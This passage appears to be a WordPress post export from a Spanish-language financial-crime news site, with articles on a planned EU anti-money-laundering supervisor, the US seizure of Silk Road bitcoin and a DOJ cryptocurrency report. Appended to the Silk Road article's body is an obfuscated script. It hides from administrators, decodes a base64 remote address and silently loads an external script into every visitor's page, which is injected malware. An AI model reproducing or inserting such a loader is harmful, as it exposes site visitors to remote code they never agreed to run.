\"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" 